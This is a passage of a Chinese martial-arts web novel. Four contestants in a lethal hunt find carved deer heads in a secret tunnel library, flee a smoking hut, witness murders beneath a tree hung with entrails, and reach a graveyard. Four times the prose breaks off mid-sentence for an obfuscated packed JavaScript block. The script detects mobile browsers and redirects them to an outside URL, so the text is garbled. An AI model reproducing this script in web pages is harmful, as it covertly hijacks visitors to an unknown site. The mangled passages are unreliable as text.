戚研商轻笑,她将弓箭取下,拿在手中玩弄:“这是秘密,你现在有两条路,一是跟着我们走,弓箭给你,还会给你找真的鹿头。或者你拿着假鹿头,自行离开。” 这样的选择,雷承璟当然是接过弓箭留下。 林霁荷不理解为何要让雷承璟留下,这样他们要多找一个鹿头。 “你不是说无人会弓箭,现在有了。”戚研商答道。 8. 只消梦还 四人暂无线索,漫无目的的在树林中走着,但也未有松懈,一直提防周围是否有人。 “哪得卿顾,只消梦还。”雷承璟忽然开口道。 “什么酸诗?”冷不丁的来一句,童疏田还以为这小子精神错乱了。 林霁荷捂嘴轻笑:“小小年纪,就学会作情诗了,不过这荒郊野岭的,你是要念给谁听?” 雷承璟停下脚步,一本正经地说道:“不,这不是我写的,是我看到的。” “哪里?是找到鹿头木雕的地方吗?”戚研商问。 “对。”雷承璟点头,“比试开始以后,他们在原地打了起来,我想先观望一下,只是找了个地方躲起来。” 不用想也知道这小子要做什么,戚研商回忆起荀惜维所提醒的三处地方,其中一条是西北大树下。 大门所在位置,正处于西北附近,只是大部分人并没有观察方位,或是下意识先离开人群,躲避危险,而原地打架的人也不是为了抢木雕,只是为了先将对手铲除。 雷承璟是想着趁着他们两败俱伤,做一回鹬蚌相争渔翁得利,然而他隐匿的位置并不深,被打斗中的人发现了。 “还好是我技高一筹,他们没打到我,我就跑了。”雷承璟深叹一口气,“只是路上不小心掉进了一个洞里,不过也因祸得福,这些人没能找到我。” 戚研商扫了他一眼,觉得这话半真半假,他的衣服整洁,没有沾上大量灰尘,露出的肌肤也没有伤口,肯定不是直接摔进去的,问:“真的是不小心吗?” 雷承璟耸了耸肩:“好吧,我是故意跳下去的,原本是想拿了大树下的鹿头,再回来看这个洞,被追得只能先跳下去了。在下面就找到了这个鹿头,还在墙上看到了刻着的那么一句诗。入口我肯定是不敢上去了,万一有人在上面守着,于是我就在下面一直走,就走到了你们这里。” 戚研商没想到他所说的“洞”竟然是一个类似隧道的地方,或许那里还有其他线索。 “那你为什么突然要念出来,你参透了这句话的意思?”林霁荷看不得他说话故弄玄虚,“还有,你既然知道有这个地方,怎么不早早带我们下去?” 雷承璟听了这话,好似生气了一般,哼了一声道:“我一出来,就差点被箭射中了,你们还要说这是假鹿头来要挟我,我哪敢带你们下去。” 童疏田站在他身后,重重地拍了拍他的肩膀,道:“那现在是信任我们咯?” “既然下面通道冗长,你就没有找找别的吗?”戚研商问。 雷承璟摇头:“这就是我告诉你们的有此地的原因,下面太黑了,只有刚下去的地方有些光亮,能看见那行字,再往前几乎等同闭眼行走,我也是运气好,才寻得出来。” “而且再不说,就跟着你们这样一直走下去,可能我们最后就只能饿死在这里了。”雷承璟补充道,他的语气有一丝责备。 林霁荷又笑出了声,这小鬼头有点心机,却也不多,她伸手揉了揉他的头发,惹得雷承璟给了一个白眼。 —— 于是三人跟着雷承璟折返回去,果然在那棵树干中心被林霁荷射中的树下,发现一个洞。 那个洞被一张草编织成的垫子盖住,若是不仔细看,或者不小心踩上去,是很难发现的。 还没商量好计划,童疏田就率先跳了下去,其他三人还站在洞边一步未动。 “这下面怎么这么黑啊!”洞下传来童疏田的大叫。 他们原先已经走了很远,折返回来又花费了不少时间,现在已经到落日之时,天色昏暗,更别说洞里了。 林霁荷对着下面大喊:“你跳这么快做什么!我们还没找到火源呢!” 童疏田还未作答,戚研商便上前一步,喊了一声“快让开”,也跟着跳了下去,只是她跳的也很急,童疏田都没反应过来,落下后直接撞到了童疏田,两人一起“哎哟”了一声。 “小商,你怎么也下去了!”林霁荷连忙蹲下向洞里看去,黑漆漆的,什么都看不见,也不知道两人受伤了没。 正干着急时,只见下方传来唰地一声,火光一闪,突然亮了起来,戚研商手里竟然拿着火折子,对着上面的林霁荷道:“你们也下来吧,下面有油灯的。” 剩余二人也跳了下来,戚研商点亮了墙上的油灯,取了下来,又吹灭了火折子。 “你从哪弄来的火折子?”林霁荷问。 “从房间里拿出来的,那个荀大人,也没说不能带房间的东西出来。”戚研商道,她早晨出门时,将房间中可以顺手携带的物品藏进了衣袖里,虽然会增加一些重量影响行动,但到了必要时刻,可以救急。 童疏田扛起雷承璟,雷承璟抬手将洞外的垫子拉回入口处挡住,防止有人找到这个地方。 戚研商又拿下一盏油灯,点燃后递给雷承璟。 现在两人一盏灯,足够照亮下面的一切了。 出口之处并没有什么特别的,前方延伸着一条能够并排两人有余站下的通道,这便是雷承璟来时的路。 虽然手握油灯,将四周照得明亮,可在密闭的环境中,仍使人感到有些压抑,林霁荷忍不住开口问:“雷小公子,点了灯还这么恐怖,你来的时候漆黑一片,是怎么走出来的,就不怕吗?” “别这么叫我。”雷承璟的语气有些急,不过随后便恢复了,“这有什么好怕的,又不是有鬼,若出现蛇鼠什么的,我也不怕。” 林霁荷原本走在前面,听了这话,退到了雷承璟身后,把他推到了前面,说:“你不怕,那你先走。”然后跟在他后面,紧紧抓着他的衣角。 可是林霁荷也不愿意走在最后,又指挥着童疏田帮她看着后面,一只手抓着雷承璟的衣服,一只手挽着戚研商,走在了中间。 戚研商也在这环境里略感不适,就连童疏田这个膀大腰圆的自信大汉也沉默着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200929|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不说话,雷承璟作为最小的一个,胆量却是最大的。 “等等!”雷承璟停了下来,他用油灯照着右方的墙壁,火光在墙壁上来回扫动,仔细观察着。 戚研商也凑过来看,这块墙壁的颜确实与旁边色有所出入,只是融合的极好,虽有分界线,却找不出破绽在何处,只像是自然风化留下的痕迹。 童疏田站在最后,看不清他们在找什么,也挤不进来,着急地问:“你们在看什么呢?给我看看!” “哎呀,让你看,你也看不出来的!”林霁荷没空回头,几乎贴在墙壁上观察。 最后还是被童疏田凑了过来,虽然他是用蛮力把那三人撞开的:“你们看的就这?好像这里是不太一样啊,到底哪里不一样呢?” 林霁荷揉了揉被撞痛的肩膀,道:“我就说你看不出来吧!” “那有啥,”童疏田将双手按在了墙壁上,“找不到就不找了呗,你瞧我的。” 戚研商只觉得有一阵无来由的风袭来,童疏田按在墙上的双手微微颤抖,这里的空间太小,无法借力攻击,他只能将内力输于双掌,传递到墙内,下一刻,那块异色的墙体轰然倒下。 扬起的尘土引得一阵咳嗽,戚研商只得挥手驱散灰尘,道:“咳咳……没想到就这么暴力破解了,多谢童大哥了……咳咳……” “我一开始就说了,你们应该庆幸碰上了我。”童疏田得意地笑了一声,吸入了灰尘,也跟着咳嗽起来。 雷承璟先一步踢开地上的石头,走了进去,举着油灯观察了一番,道:“怪不得我们找不到破绽,这机关并不在门上,而在旁边,长得也其他砖块一样,除非本来就知道是哪块,不然我们在这里找三天,都找不到。” “别管那破墙了,你们快进来。”林霁荷着急地说。 里面的空间不算小,两盏油灯才将将照亮整个地方。 这里似乎是个书库,周围的架子上零星摆放着几本书,中间放着一张书桌。 书桌的正中心,赫然摆放着一樽木雕鹿头。 “这个鹿头,应该是真的吧!”童疏田说着,拿起鹿头查看了一番,和他印象中的真鹿头长得一模一样,看完后,又交给了戚研商,“妹子,你看这是不是真的?” 戚研商接过,提起油灯,仔细辨认那些她记住的特征,闭着的眼睛,缺损的鹿角,都一一符合。 “是真的。”戚研商答道。 雷承璟瞧见桌上还有一张纸条,拿起来念道:“哪得卿顾,只消梦还。这不就是我在墙上看到刻着的那句诗嘛!” 说着,他拿出了自己包裹中的鹿头,与戚研商手里的对比起来,翻来覆去的查看,最后发现竟然毫无差别。 雷承璟有些恼怒:“你不是说我的是假的,这两个一模一样啊!” 戚研商莞尔一笑:“你拿了兵器,我得了队友,你吃亏了吗?” 雷承璟顿时感觉有苦说不出。 9. 为时已晚 雷承璟抱着两个鹿头在那里郁郁寡欢,戚研商也没空管他。 纸条上突兀的情诗着实看不出有什么深意,戚研商走到书架旁。 书架上尘埃轻覆,那几本书随意搁置的书上也被厚厚的灰尘遮住,看不清上面写了什么。 戚研商拿起一本,掸去上面的灰尘,似乎是一本佛教典籍,封面上写着《小天沽寺雾海籍说》。 然而翻开典籍,里面是用梵文书写的经文,戚研商看不懂内容是什么。翻阅书架上的其他书,一一过目,都是此无法理解内容的梵文典籍。 这房间内除了桌上的木雕以及纸条,其他地方都覆盖着灰尘,说明只有这两件是后来被放上去的,并且时间不久。 按照雷承璟所说,门的机关实为隐秘,与砖墙融合实在难以发现,而他们在外面观察这面墙时,除了颜色略有不同,也没有发现任何突破之口。 放入木雕后再将墙从外面砌上,从而做成一个封闭的密室,是有这种可能的,可是外面的通道实在狭小密闭,他们仅是在通道中站上一会便感到不适,砌墙这种耗费劳力的大事,恐怕是难上加难。 戚研商怀疑这里面应该还有一个出口。 于是她将取下的典籍按照记忆放回了原来的地方,轻轻眯眼,将这几处典籍的位置在脑中连线,线条交汇处正是在中间那个靠墙的书架上,第三排靠左的位置。 雷承璟正巧站在那个位置上思考人生,戚研商便上前推开了他。 “你……这……我就这么碍事吗?”雷承璟委屈道。 戚研商伸手去掰书架那块位置的木头,发现机关并不在木头上,伸手探去,发现书架足够深,她够不着墙壁。 戚研商看向雷承璟,这孩子长得虽然稚嫩,可已经高出自己半个头来,四肢也生得修长,她盈盈一笑,道:“能否请你帮个忙?” 雷承璟略有防备:“什么忙?” “这书架后面的那块砖应该是机关,我够不着,你去按一下。”戚研商道。 童疏田听闻此话,自告奋勇要求他来按,结果他的手臂过于粗壮,那书架的间隔并不大,胳膊伸到一半便卡住了,好半天才给拔出来。 戚研商安慰道:“你别怕,这次肯定没陷阱,我也没骗你。” “好吧。”雷承璟虽然还是狐疑的看着她,还是决定试一试。 他挽起长袖,将手探入书架的深处,指尖刚碰到墙壁,便从里面发出轰隆一声,顿时感到整个地下都在颤抖。 “小心!”戚研商从后面抱住雷承璟,将他的胳膊拽了出来,同时,内部的墙壁竟然发生了偏移,书架的后面出现了一片黑暗。 而书架,也跟着墙壁的移动被劈开,碎成了一地木片,若不是戚研商出手及时,可能雷承璟的胳膊就要被木片刺穿了。 童疏田在一旁拍拍胸脯,担心地说:“哎呀,还好我没按到机关,不然手臂卡在里面出不来,不敢想象啊!” “怎么又出来一个地方,这里面到底有多大啊!”林霁荷拿起被丢在一旁的烛火,向书架后面的通道探了探,似乎还是一条很长的路。 于是四人又按照之前的队形行走。 戚研商感觉从前方吹来了一丝丝凉风,空气中潮湿的霉味也减淡了不少。 手中的烛火也轻轻摇曳着,林霁荷看了很是惊喜,她扯了扯戚研商,问:“你看,有风,是不是就要到出口了?” 戚研商微微点头,她还感受到脚下的地面似乎并不是平路,而是一个向上倾斜的坡,只是坡度极小,如履平地。 可是这条路竟然比想象中长很多,甚至要比雷承璟穿过的路还要长。 一阵阵风袭来,加剧了烛火的燃烧,那灯油有限,原本可以将四人周围照亮,而现在只能看见一点幽幽火光了。 “雷承璟,你不怕吗?”林霁荷又忍不住问。 “不怕,你们要是害怕,就牵住我。”雷承璟并没有回头。 林霁荷原本就已经抓住他的衣角了,身后的童疏田也伸过手来,抓住雷承璟,这使戚研商被夹在中间,感觉喘气都困难。 可此时戚研商想要解脱,只能站到前面去领队,或者走在最后垫底,只是她在这昏暗的火光中也感到一阵阵的寒意,只能这么忍受着。 好在戚研商的忍耐力在到达极限之前,终于走到出口了。 出口竟然是一间茅屋的地窖,搬开那木头盖板,终于重见天日。 —— 太阳没有见到,唯有一轮明月挂在天际。 “没想到我们在里面待了这么久,还好有所收获。”紧绷的神经终于泄了气,林霁荷再一次瘫坐在地上。 桌上放着一盏油灯,雷承璟赶紧手中将仅剩一点火光的油灯靠近,屋内瞬间亮堂了一些。 戚研商见旁边还放了个灯罩,便放在油灯上,遮挡一些光亮,否则这个屋子将在黑夜中过分招摇。 这间茅屋虽然不大,倒是设施一应俱全。戚研商看了一眼里屋,正好可以睡下四人。 她从地上拉起林霁荷,道:“里面有床铺,你去里面躺着吧。” 林霁荷爬起来,扑进戚研商怀里蹭了蹭,道:“嘿嘿,还是你懂我!”随后进了里屋休息。 “你们饿吗?”戚研商问道。 童疏田正在灶台边左转右转,道:“不是说会提供吃的吗,给个灶台啥也没有,让我们自己做?” 雷承璟一言不发,只是上前打开了锅盖,里面放了只敞口碗,盛着好几个馒头,无奈地看向童疏田:“你找东西就不能看仔细一点吗?” 馒头虽然已经凉了,有点硬邦邦的,不过还能吃,童疏田拿了两个,其他人一人一个,正好分完。 “恐怕也只给我们准备了第一天的食物,后面还是要自己做的。”戚研商啃着馒头蹲了下来,向灶台下面看去,里面堆了满满的柴火。 童疏田两口将馒头塞进嘴里,有些噎住了,他用力咀嚼着,发音有些模糊不清:“……难道……让我们自己种……稻子……做馒头吃?” 戚研商瞥见角落有一缸清水,便舀了一碗来递给童疏田:“你先喝点水顺顺吧。怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200930|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会想到种稻子,你忘记这里是哪里了?是狩猎场。” 找到兵器的意义不仅在于攻击与自卫,还要通过狩猎获取食物。 忽然回想起荀惜维的话,兵器将与食物存放在一起,也就是说这个屋子里,还有武器。 戚研商将灶台下满满的柴火一并拖了出来,在灶台的最深处,发现了一把斧头。 这把斧头重量不轻,自然是给了童疏田。 童疏田惊喜地在手中舞弄了一番,道:“这下我有武器,可以保护你们了,现在只要再找到两个鹿头,我们就赢了。” 然而没人想看他的表演,两人打了个哈欠,拖着疲惫的身体也进了里屋。 童疏田跟着进屋,发现两个妹子睡在床头,靠在一起,床头还放着林霁荷没来得及吃的馒头,而小孩睡在床尾,中间虽然相隔甚远,也无法再容纳下他。 童疏田只好将床上的草席扯了下来,铺在地上,躺了上去, 他想了想,又起身去外面吹灭了灯,将门窗关好,把斧头抵在门口,若是有人来犯也能抵挡一下。 好在这夜无事发生。 —— 戚研商在一阵肉香中醒来,她起身走到门口,发现那三人围着烤鱼。 “哪里来的?”戚研商在他们身边蹲了下来,猛吸一口香气。 雷承璟正皱着眉,小心翼翼地将鱼上已经烤糊的皮撕下,他吹了吹,小心地咬了一口,道:“是我去捉的,离这不远,有一条小溪。” “嗯,我还没醒呢,他就拎着鱼回来了,喏,这条给你。”林霁荷手里握了两条鱼,将一条递给了戚研商。 戚研商接过,也将皮撕下了些,吹了吹,一口咬下,竟然没有想象中的鲜美,而是寡淡如水,且带着腥味,她忍不住皱起了眉,勉强咽下。 雷承璟好似大仇得报,他看着戚研商窘迫,终于笑了起来:“哈哈,这荒郊野岭的,没有佐料,你就这样将就着吃吧。” 而童疏田只顾着埋头苦吃,身前的地上放着一堆鱼骨,他不是很在乎味道如何。 戚研商去喝了几口水,一夜过去难免有些饥饿,她只好又将剩余的鱼吃完,一条鱼下肚,已经略微饱腹。 已近正午,四人围坐在茅屋前,似乎已将身处危险之中的事情忘却,一直处于警戒状态的戚研商也在此时略有松懈。 柴火烧的正旺,一缕青灰色的烟雾不断向上攀升着,随着微风散到远处。 这是极其危险的象征,油灯的光照有限,只有在极其靠近时才能被发现,而飘散的烟雾却能在千里之外清晰可见。 待戚研商发现这点已经晚了,她迅速用水扑灭了柴火,却阻止不了已然高空中漂浮着的烟雾。 雷承璟将两樽鹿头木雕装进包裹,拿上弓箭,童疏田也提上了他新得来的斧头。 临走前,林霁荷将剩余的柴火全丢进了水缸里。 只听见远方传来窸窸窣窣的脚步声,似乎已经有人顺着烟雾找到了这里,而四人已经来不及规划下一步要去哪里,只好朝着声音的反方向逃离。 10. 非礼勿视 几乎算是落荒而逃,几人甚是狼狈。 跑了许久,终于没能听见其他人的声音,也未见到有人跟着的踪迹,才终于停下来稍作歇息。 也算是逃得及时,那些人并没有跟上他们,或许原本目标就不是他们,而是选择在他们离开的茅屋中探索物资。然而那里的书屋与兵器已经被带走,仅剩的柴火也浸了水,他们在那里什么也得不到。 不过他们或许会发现地窖,只要能够忍住黑暗一直前进,就会发现一个已经被他们破坏的底下书库,最终一无所获。 戚研商想到这些,忍不住将刚才惊险的一幕抛之脑后,笑了出来,而其他人还沉浸在逃亡的恐惧中。 雷承璟不理解戚研商在笑什么,不过他却想到了一个问题,一手取下背着的弓箭道:“我们为什么要跑?倘若他们手中也有鹿头呢,不是白白丢失了机会?” “要是打不过呢?小商虽然不用兵器,但是我需要,更何况并不知道对方有多少人。”林霁荷说道,看着架起弓箭的雷承璟,心想果然就是一个小鬼头,想事情都如此简单,考虑不到大局。 雷承璟只好默默收起了弓箭,侧身的时候他发现这里竟然如此熟悉,惊讶道:“我们是不是来过这里?” 兜兜转转,好像又回到了大门附近。 戚研商也察觉到了这点,她点了点头,道:“没错,这里就是大门附近,一开始的起点。” 起点的附近,便是“西北大树下”。 此时已经过了一日,他人熟悉了规则后,也应想起有一个木雕是藏在西北大树下的,无论第一日有没有人拿走木雕,今日转头回来调查的人一定不少。 “这里位置不好,我们先藏起来。”戚研商道。 此地身为主路仍然危险,四人先找了一个杂草丛生,有巨石堆积之处进行躲藏。 他们所在的位置地势较高,正好方便观察他人的动向,若是没有发现异常,也可顺着这条路向其他方向移动。 “我们应该不需要这里的鹿头吧?”童疏田问,他们已经有了两个鹿头,只要再找到两个,之后藏好自己,度过剩下的四天,便可以顺利通过此次比试。 况且这些已知存在木雕的所在地方十分危险,完全没必要在此逗留。 “确实不需要去抢,”戚研商目不转睛地盯着下面的动向,“但是观察其他人的情况也很重要。你别忘了,找到了并不是胜利,活到最后一天才是。” 她转头看向童疏田,问道:“你能确保没有比我们厉害的对手吗?若是碰上了,我们是迎敌还是逃脱?” 童疏田无法回答,今早便是这种情况,在一切未知的情况下,逃跑才是最优选择。 林霁荷伸手掰正童疏田的头,小声道:“嘘,别动,下面有人。” 他们刚刚所在的道路上走来三人,可以清晰地看到腰间已经佩戴了各自的兵器,走在最后的人背了一个鼓鼓囊囊的行囊,他们边走边交谈着。 那个行囊十分引人瞩目,细看下,布匹的颜色竟然正是他们统一穿着的青绿色,上面还染着斑斑点点的暗红色。 想也不用想,行囊是由他人的衣服制成的,而衣服主人的下场也昭然若揭。 而行囊装满的原因应是装有不少抢来的食物和木雕鹿头。 “他们……杀人了。”雷承璟颤抖着说,他的右手似乎就要伸到背后,指尖触及木箭,将要拔出。 戚研商见状立刻将他按住。 “这是他们赢得比试的手段。”戚研商叹了口气,不得不说出如此残酷的事实。 即使刚才雷承璟想要与他人搏斗,也不过是为了抢夺木雕,并非为了伤人性命。 而下方的三人却视人命如曹姐,将抢夺的代价血淋淋地展现在眼前,年纪尚小的雷承璟无法接受,也是意料之中。 林霁荷轻轻捂住雷承璟的眼睛,道:“你要是怕了,就别看。” “……没怕。”雷承璟这次并没有反驳,任由双眼被遮住,只是沉默良久,才吐出二字。 那三人宛若游街般行走在大路上,未有任何防备之姿,看起来似乎就是这场比试的最终胜利者。 倒也是因为路上没有其他人。 眼见那三人就向着西北大树走去,童疏田出声问道:“妹子,我们还要跟着吗?看他们这个样子,估计碰上了是打不过的。” 看来这大个头挺听话,不过戚研商还是给了一个肯定的答案:“走,我们跟着去。他们的目标应该是拿走那里的木雕,我们只要不参与进去,远远观望,还是安全的。” 能来此处找寻木雕之人有两种,一是走投无路之人,既不认识真品,又找不到线索,二是对自己实力非常自信之人,不怕与人正面交锋。 —— 一路跟随来到狩猎场的西北,确实有一棵大树。 树干极粗,树根盘根错节长达几米,向上延伸着无数枝条,枝叶茂盛可容百人纳凉,用巨树形容更为精确。 这棵树似乎是用于祈福的,上面挂满了红色的绸带。 那三人分头行动,绕树一周,几乎要将那地上翻个底朝天,可惜皆无所获。 他们聚合开始讨论着什么,接着在周围地上仔细地探查。 林霁荷对这三人的诡异行为感到困惑,问道:“他们这干嘛呢,找龙脉呢?” “不,”雷承璟看出了他们的意图,“他们在找脚印。” “脚印?”林霁荷不解。 雷承璟点头:“是的,既然此处已经没有木雕,说明被他人拿走了,而拿走的人势必会留下脚印。” “这棵树如此巨大,周围泥土甚多,且湿润,即使清理了也很容易留下脚印。”戚研商补充道。 林霁荷有些惊愕:“难道他们是想沿着脚印去追寻了木雕的人?且不说他们好像已经有了一袋子的木雕,这场比试如若一人一个也只淘汰十人,用得着去抢别人的吗?” “为了赶尽杀绝。”雷承璟似乎已经接受了这个规则,语调中不含一丝情感。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13200931|139177||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 虽然此次比试可有五十人胜利,可是赢的人越少,下一场比试的对手也就越少。 “看来这三人极为凶残,下次若是遇见了一定要提前躲开,我们去别的地方吧。”眼下再观察下去已无任何意义。 “等等。”雷承璟一手拉住将要起身的戚研商,“小心暴露了,下面不止有他们。” 戚研商立即回到了原来的位置,定睛看去,正如雷承璟所说,不知为何突然出现了两人,正站在他们身后。 由于这三人正在仔细勘查地下的脚印,并没有发现有人靠近。 其中一人飞起一脚便踹到了那个背着巨大行囊的,此时装满了东西的行囊便是成了累赘,他被重重的行囊压到在地,难以起身,那人拔出佩剑就是一刺,直接透过行囊扎进了他的胸口。 原本只是沾染着几点血迹的青色瞬间彻底被鲜红染满,那人还未做反抗便彻底断了气,甚至呼救声也哑于口中。 另外两人只听身后一阵闷响,回头却看见同伴已然倒地,而杀人凶手正持剑站在前方。 未做犹豫,那二人迅速拔出各自武器应战,然而还是慢人一步,风驰电掣间,另一柄长剑已经贯入其中一人身体,剩余一人还未来到凶手面前,就已被从腰腹劈开,丢了性命。 这二人剑法之快令人望尘莫及,挥舞间似乎已成了残影,戚研商屏气不敢出声,只是心中暗叹,螳螂捕蝉,黄雀在后。 这一大包的战利品也不知二人要如何带走。 一人蹲下去检查那青色行囊中所装着何物,打开一看,果不其然,有五六个木雕鹿头,还有一些馒头,只是已被鲜血染尽,变得污秽不堪。 可是那人也只是检查了一番,随后向另一人点了点头,两人便就此离开了。 竟然没有拿走? 四人在原地等了好一会,确定那二人真的走远了,才小心翼翼地走近了大树。 “这竟然都是假的!”戚研商率先去检查行囊,才知那二人不取走的真正原因。 林霁荷在一旁唉声叹气,可惜没有捡漏成功,若地上都是真品,他们之后便不用再去找木雕了。 而童疏田和雷承璟却没有发表任何意见,只是呆呆地站在那里。 “你们怎么了?”林霁荷问道。 戚研商随着他们的目光向上看去,下一刻,她也呆住了。 但她还是好心提醒了一句:“我觉得,还是别看吧。” 到底是什么? 林霁荷抬头,头上是一大片树荫,那粗壮的枝条上挂满了红色的绸带,是给人祈福用的。 可是定睛一看,似乎并不是绸带,有的颜色不均匀,有的颜色过于深,甚至呈现为褐色,形状也看起来十分奇怪。 这是为什么? 下一秒,林霁荷猛然醒悟过来,这根本就不是祈福树,树上挂着的也不是什么用于祈福的绸带。 那些颜色不均的,是被鲜血染红的布条,那些形状奇怪的,是早已风化的肠子。 11. 神出鬼没 树上挂着的红色条状物,随着微风轻轻摆动。 戚研商在看清后树上的东西后,原本还带着泥土清新的空气,似乎突然开始弥漫起淡淡的血腥味。 她撇过头去,强忍住想要呕吐的冲动。 其他三人也面露难色。 “此地不宜久留,我们还是先走吧。”童疏田开口道,他不是没有见过血腥的场景,可是这棵大树呈现的东西实在过于震撼,令他头晕目眩。 “嗯,走吧。”戚研商转过身去,说道。 林霁荷跟在戚研商低着头,正要离开,似乎想起了什么,又跑了回去,拾起了刚才被一招毙命之人的佩剑。 四人没有说话,默契的回到了刚才躲藏的地方,打算顺着那条路继续探索。 最先调整过来的是林霁荷,她擦拭着剑上残留的血迹,轻声说:“那棵树怎能如此可怖……是不是这样的比试举办过很多次,在这里失败的人都要被挂到树上去。” “或许吧。”戚研商道,这里的屠杀不单纯为了胜利,有些人也是单纯为了私欲而动手。 应邀而来的人中有不少名门,身份地位应与雷承璟差不多。 他们互相看不顺眼也是正常的,在江湖地位上一争高下,经常产生摩擦,而来参加的大多都是家中贵子,趁机报私仇也并无不可。 在戚研商的印象中,雷家无论是江湖还是朝堂上的地位皆高,家中有人居于庙堂之上,雷氏刀法又赫赫有名,门下弟子三千,并不需要通过十二簪开拓人脉。 雷氏刀法? 想到这里,戚研商看向雷承璟背后的弓箭,问道:“你为何来参赛?” 无由来的询问令雷承璟一怔,随后淡然道:“磨砺罢了。” 见雷承璟不愿多说,戚研商也不好细问,只道:“不愧是雷家,对于公子也如此严苛。” “这你就不懂了,这家族越是古老,越是尊贵,就越是严格。”童疏田插嘴道,"正所谓严师出高徒。" “虽然用的不对,但也挺贴切,雷小公子,你们家老雷就靠你了。”林霁荷调侃道。 按照惯例,此时雷承璟应该反驳“别叫公子”,可他仿佛心事重重,好像没听见说话似的。 林霁荷自讨没趣,只好假装看风景。 戚研商隐隐觉得雷承璟隐瞒了什么。 —— 四人一路东行,道路越发宽阔,几乎无法隐匿了,越过一条小溪,眼前是一排矮房。 “怎么这么多房子?还连在一起,茅厕吗?正好我尿急。”童疏田远远瞧见那排房子,或许真的很急,他拽着裤子就一路跑了过去。 待三人走近时,才发现这一排矮房并不是茅厕,房间是敞开的,空间很小,中间放着一张石桌,桌上有一盏小小的香炉,不过檀香早已燃尽,只剩下一堆香灰。 “童大哥去哪了?”雷承璟四处张望,没瞧童疏田。 林霁荷看了看周围,光秃秃的,道:“或许是这里没什么遮挡物,去后面如厕了吧。” 只是等了好久也没见童疏田回来,林霁荷无聊得差点把香炉里的灰给吃了。 “童大哥不会出事了吧。”雷承璟卸下背着的弓箭,抓在手里。 “我们到房子后面看看吧。”戚研商道。 雷承璟举着弓在前面小心地行走,两人紧贴着他身后。 绕到房子后面,竟是一片荒芜的土地,地上整齐地排列组合几十个石碑,有的上面刻了字,有的是无字碑。 这里竟然是坟地。 “童大哥不会在别人坟头……那个……然后被鬼抓走了吧?”林霁荷紧紧抓住了戚研商的胳膊,有些颤抖。 戚研商抚慰地拍了拍她的手,道:“放心,这是白天,不会有鬼的。” 坟地开阔,一览无余,虽然不见童疏田,但也不见他人。 暂时安全,雷承璟将弓箭又收了起来。 戚研商见他一天要拿出收起无数次,问道:“为何你要用弓?我记得雷氏刀法闻名天下。” “暂且一用,我们还没找到刀。”雷承璟答道。 林霁荷摸了摸腰间的佩剑,道:“你是没瞧见吗?那三人中有一人便是用刀的,唉,也是怪我,刚才有点害怕,只拿了自己的,应该帮你也取一把。” 雷承璟摆摆手,道:“无事,弓箭我也使得顺手。况且可以远程击中敌人,使用刀剑还需近身搏斗,若是处于下风,难以逃脱。” 这话虽是看不出太多破绽,戚研商只是觉得从种种迹象中表明,他应该并不会使用刀的。 明明是雷家公子,对自家的功法怎么如此抵触,戚研商怀疑眼前之人是冒名顶替的,毕竟他并未自我介绍,而是由林霁荷认出,或许只是顺口答应,接下了这个身份。 竟然失算了,留下一个未知之人在身边。 如今也只能先提防着,走一步算一步。 “小商小商!”林霁荷再次颤抖起来,一手紧紧抓着戚研商,另一手指向前方,“你还说没有鬼!你看!那个石碑下的坟头正在晃动。” 戚研商顺着手指的方向看去,那原本微微隆起的坟包竟然真的开始晃动,甚至越来越向上鼓起。 林霁荷干脆抱头在戚研商的身后蹲下,颤抖着道:“完了完了,我听说有一种僵尸王,是要吸食人魂魄的,你看那坟包,是不是有僵尸要诈尸出来了!” 戚研商已经历过生死,早已不怕什么鬼怪,她只是站着,一直盯着那晃动的坟包。 雷承璟好像也有些害怕,甚至相信了林霁荷的说辞:“这……也不知我这弓箭……对僵尸有没有用……” 随着那坟包的晃动,戚研商感觉好像听见有人在说话,只是十分模糊,她不知道这是不是幻觉。 蹲下的林霁荷索性抱住了戚研商的腿:“怎么还有人说话……完了完了……” “别怕,没事的。”戚研商得知这不是幻觉后,感觉声音有点熟悉,她不顾小腿已然被抱住,前进了两步,使得林霁荷一下就摔倒在地,只好松了手。 “呜呜……小商,你不要去找死啊……”趴在地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 